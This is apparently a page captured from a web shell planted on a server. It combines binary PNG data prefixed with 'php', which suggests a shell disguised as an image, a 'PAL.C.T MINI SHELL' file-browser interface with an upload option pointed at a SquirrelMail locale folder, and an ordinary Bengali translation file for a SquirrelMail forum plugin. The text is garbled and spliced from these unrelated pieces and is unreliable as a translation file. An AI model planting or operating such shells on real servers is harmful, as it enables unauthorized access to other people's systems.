php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/bn_BD/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/bn_BD/LC_MESSAGES/forum.po

# Bengali (bn_BD) forum Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Israt Jahan <israt@ankur.org.bd>, 2009.
# $Id: compatibility.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: forum 1.1\n"
"Report-Msgid-Bugs-To: Sebastian Dolmen <sdolmen %AT% gmail %DOT% com>\n"
"POT-Creation-Date: 2007-01-19 13:10+0100\n"
"PO-Revision-Date: 2008-12-25 16:32+0600\n"
"Last-Translator: Israt Jahan <israt@ankur.org.bd>\n"
"Language-Team:  Bengali <ankur-bd-l10n@googlegroups.com>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"

#: forum.php:52
msgid "&nbsp;Forums"
msgstr "&nbsp;ফোরামগুলো"

#: forum.php:53
msgid "Threads"
msgstr "থ্রেডগুলো"

#: forum.php:54
msgid "Last thread"
msgstr "শেষ থ্রেড"

#: hooks.php:23
msgid "Forum"
msgstr "ফোরাম"

#: hooks.php:47
msgid "Discussion board"
msgstr "আলোচনা সভা"

#: hooks.php:49
msgid "A browser-based administrative interface."
msgstr "একটি ব্রাউজার ভিত্তিক প্রশাসনিক ইন্টারফেস।"

#: list.php:66 post.php:88 read.php:75
msgid "Forum list"
msgstr "ফোরাম তালিকা"

#: list.php:66
msgid "New thread"
msgstr "নতুন থ্রেড"

#: list.php:72
msgid "Current Page:"
msgstr "বর্তমান পৃষ্ঠা:"

#: list.php:72
msgid "of"
msgstr "তে"

#: list.php:75 list.php:77
msgid "Previous"
msgstr "আগের"

#: list.php:80 list.php:82
msgid "Next"
msgstr "পরবর্তী"

#: list.php:88
msgid "&nbsp;Subject"
msgstr "&nbsp;বিষয়"

#: list.php:89
msgid "Views"
msgstr "প্রদর্শনগুলো"

#: list.php:90
msgid "Posts"
msgstr "পাঠানোর স্থান"

#: list.php:91
msgid "Last post"
msgstr "শেষ যেখানে পাঠানো হয়েছে"

#: list.php:97 list.php:100
msgid "by"
msgstr "দ্বারা"

#: options.php:66 options.php:80
msgid "Please fill in the name and the description."
msgstr "অনুগ্রহ করে নাম এবং বর্ণনা পূরণ করুন।"

#: options.php:110
msgid "Options - Discussion board"
msgstr "পছন্দগুলো - আলোচনা সভা"

#: options.php:136 options.php:154 options.php:161 options.php:198
msgid "Modify forum"
msgstr "ফোরাম পরিবর্তন"

#: options.php:142 options.php:179
msgid "Name:"
msgstr "নাম:"

#: options.php:146 options.php:183
msgid "Description:"
msgstr "বর্ণনা:"

#: options.php:151 options.php:188
msgid "Forum will be visible"
msgstr "ফোরামটি দেখা যাবে"

#: options.php:164
msgid "Selected forum:"
msgstr "নির্বাচিত ফোরাম:"

#: options.php:164
msgid "Confirm delete of selected forum?"
msgstr "নির্বাচিত ফোল্ডারটি মুছে দিতে কি নিশ্চিত?"

#: options.php:164
msgid "Confirm delete"
msgstr "মুছে ফেলা নিশ্চিত করুন"

#: options.php:173
msgid "Create forum"
msgstr "ফোরাম তৈরী করুন"

#: options.php:191
msgid "Add this forum"
msgstr "এই ফোরামটি যোগ করুন"

#: options.php:203
msgid "Forum name"
msgstr "ফোরাম নাম"

#: options.php:207
msgid "Modify"
msgstr "পরীক্ষা করুন"

#: options.php:207
msgid "Delete"
msgstr "মুছে ফেলুন"

#: options.php:209
msgid "No forum found."
msgstr "কোন ফোরাম পাওয়া যায়নি।"

#: post.php:72
msgid "Please fill in the subject and the body."
msgstr "অনুগ্রহ করে বিষয় এবং মূল অংশ পূরণ করুন।"

#: post.php:88 read.php:75
msgid "Thread list"
msgstr "থ্রেড তালিকা"

#: post.php:101
msgid "Subject"
msgstr "বিষয়"

#: post.php:107
msgid "Post new topic"
msgstr "নতুন প্রসঙ্গ পোষ্ট করুন"

#: read.php:63
msgid "Please fill in the body of your reply."
msgstr "অনুগ্রহ করে আপনার জবাবের মূল অংশ পূরণ করুন।"

#: read.php:108
msgid "Reply"
msgstr "জবাব"

#: read.php:114
msgid "Post message"
msgstr "বার্তা পোষ্ট করুন"
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`